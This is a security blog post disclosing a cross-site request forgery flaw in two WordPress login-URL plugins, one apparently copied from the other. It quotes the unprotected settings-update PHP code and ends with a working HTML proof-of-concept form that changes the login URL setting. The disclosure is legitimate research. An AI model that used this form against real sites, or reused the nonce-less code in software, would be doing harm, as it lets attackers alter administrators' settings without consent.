Developer of WordPress Security Plugin Copied Vulnerable Code From Another Security Plugin and Lied About It
Recently, the WordPress security plugin Change wp-admin login, which has 70,000+ active installs according to WordPress, was updated to fix security vulnerabilities involving the changing of the plugin’s settings. That a security plugin was insecure seems concerning. More concerning was that the developer made two failed attempts to fix the vulnerability before finally addressing it. While looking into the situation, we found yet another concern; the developer isn’t telling honest.
Two weeks ago, a review of the plugin was made with this claim:
This is nothing but a copycat plugin. And instead of redirecting to the homepage, it redirects to a 404 url just like in the original plugin.
The developer,
@jdembowski it seems anyone can come around and say whatever they want without have consequences. If this is the case, I really need to consider having my plugin here – it is a shame seeing a plugin with 70.000 active installs being removed because of this.
Update (5/12/22): The developer’s comment has been removed, here is an archived copy of the conversation before that happened.
While that is striking, it notably doesn’t directly deny the claim, though you could easily think that it is a denial.
If the plugin was copied from another plugin, the vulnerabilities could exist in that plugin as well. It wasn’t hard to find that the plugin’s code is copied from the plugin Rename wp-login.php, which has 100,000 active installs, and still contains the vulnerabilities.
Here is part of the insecure code from Change wp-admin login from before the security fix attempts were made:
201 202 203 204 205 206 207 208 209 210 211 212 | if ( isset( $_POST['rwl_page'] ) && $pagenow === 'options-permalink.php' ) { if ( ( $rwl_page = sanitize_title_with_dashes( $_POST['rwl_page'] ) ) && strpos( $rwl_page, 'wp-login' ) === false && ! in_array( $rwl_page, $this->forbidden_slugs() ) ) { if ( is_multisite() && $rwl_page === get_site_option( 'rwl_page', 'login' ) ) { delete_option( 'rwl_page' ); } else { update_option( 'rwl_page', $rwl_page ); } } |
Here is the same code in Rename wp-login.php:
185 186 187 188 189 190 191 192 193 194 195 196 197 | if ( isset( $_POST['rwl_page'] ) && $pagenow === 'options-permalink.php' ) { if ( ( $rwl_page = sanitize_title_with_dashes( $_POST['rwl_page'] ) ) && strpos( $rwl_page, 'wp-login' ) === false && ! in_array( $rwl_page, $this->forbidden_slugs() ) ) { if ( is_multisite() && $rwl_page === get_site_option( 'rwl_page', 'login' ) ) { delete_option( 'rwl_page' ); } else { update_option( 'rwl_page', $rwl_page ); } } } |
The developer didn’t even change the prefix used for the settings from “rwl”. That prefix makes sense for a plugin named Rename wp-login.php, not one named Change wp-admin login.
That isn’t the only thing copied. Here is the first paragraph of the description for Change wp-admin:
Change wp-admin login is a light plugin that allows you easily and safely to change wp-admin to anything you want. It does not rename or change files in core. It simply intercepts page requests and works on any WordPress website. After you activate this plugin the wp-admin directory and wp-login.php page will become unavailable, so you should bookmark or remember the url. Disable this plugin brings your site back exactly to the state it was before.
Here is the original from Rename wp-login.php:
Rename wp-login.php is a very light plugin that lets you easily and safely change wp-login.php to anything you want. It doesn’t literally rename or change files in core, nor does it add rewrite rules. It simply intercepts page requests and works on any WordPress website. The wp-admin directory and wp-login.php page become inaccessible, so you should bookmark or remember the url. Deactivating this plugin brings your site back exactly to the state it was before.
Some of that is exactly the same and other parts have been slightly modified.
The copying of the code would be fine under the GPL license if the copyright notice from the original remained, but that isn’t the case. This is the only copyright notice included with Change wp-admin login:
Copyright 2019 Nuno Morais Sarmento (email : [redacted])
Authenticated Settings Change
The vulnerabilities still in Rename wp-login.php involve the code that handle’s changing the plugin’s setting.
The plugin registers a function named admin_init() to run, not surprisingly, during admin_init:
82 | add_action( 'admin_init', array( $this, 'admin_init' ) ); |
That normally means that even those not logged in to WordPress can access it.
That function, which is located in the file rename-wp-login.php, contains this code that updated the plugin’s settings without checking if the person accessing that is intended to be able to change the settings or checking for a valid nonce:
185 186 187 188 189 190 191 192 193 194 195 196 197 | if ( isset( $_POST['rwl_page'] ) && $pagenow === 'options-permalink.php' ) { if ( ( $rwl_page = sanitize_title_with_dashes( $_POST['rwl_page'] ) ) && strpos( $rwl_page, 'wp-login' ) === false && ! in_array( $rwl_page, $this->forbidden_slugs() ) ) { if ( is_multisite() && $rwl_page === get_site_option( 'rwl_page', 'login' ) ) { delete_option( 'rwl_page' ); } else { update_option( 'rwl_page', $rwl_page ); } } } |
It does restrict access to a situation where the $pagenow variable is set to options-permalink.php, which shouldn’t be true for anyone not logged in as Administrator. Though, there might be a way to do that we couldn’t easily think of. Without a nonce check, there is the ability to cause a logged in Administrator to change the setting without intending it. That is a cross-site request forgery (CSRF)/settings change vulnerability.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will change the plugin’s Login url setting to proofofoncept, when logged in to WordPress as an Administrator.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-permalink.php" method="POST"> <input type="hidden" name="rwl_page" value="proofofconcept" /> <input type="submit" value="Submit" /> </form> </body>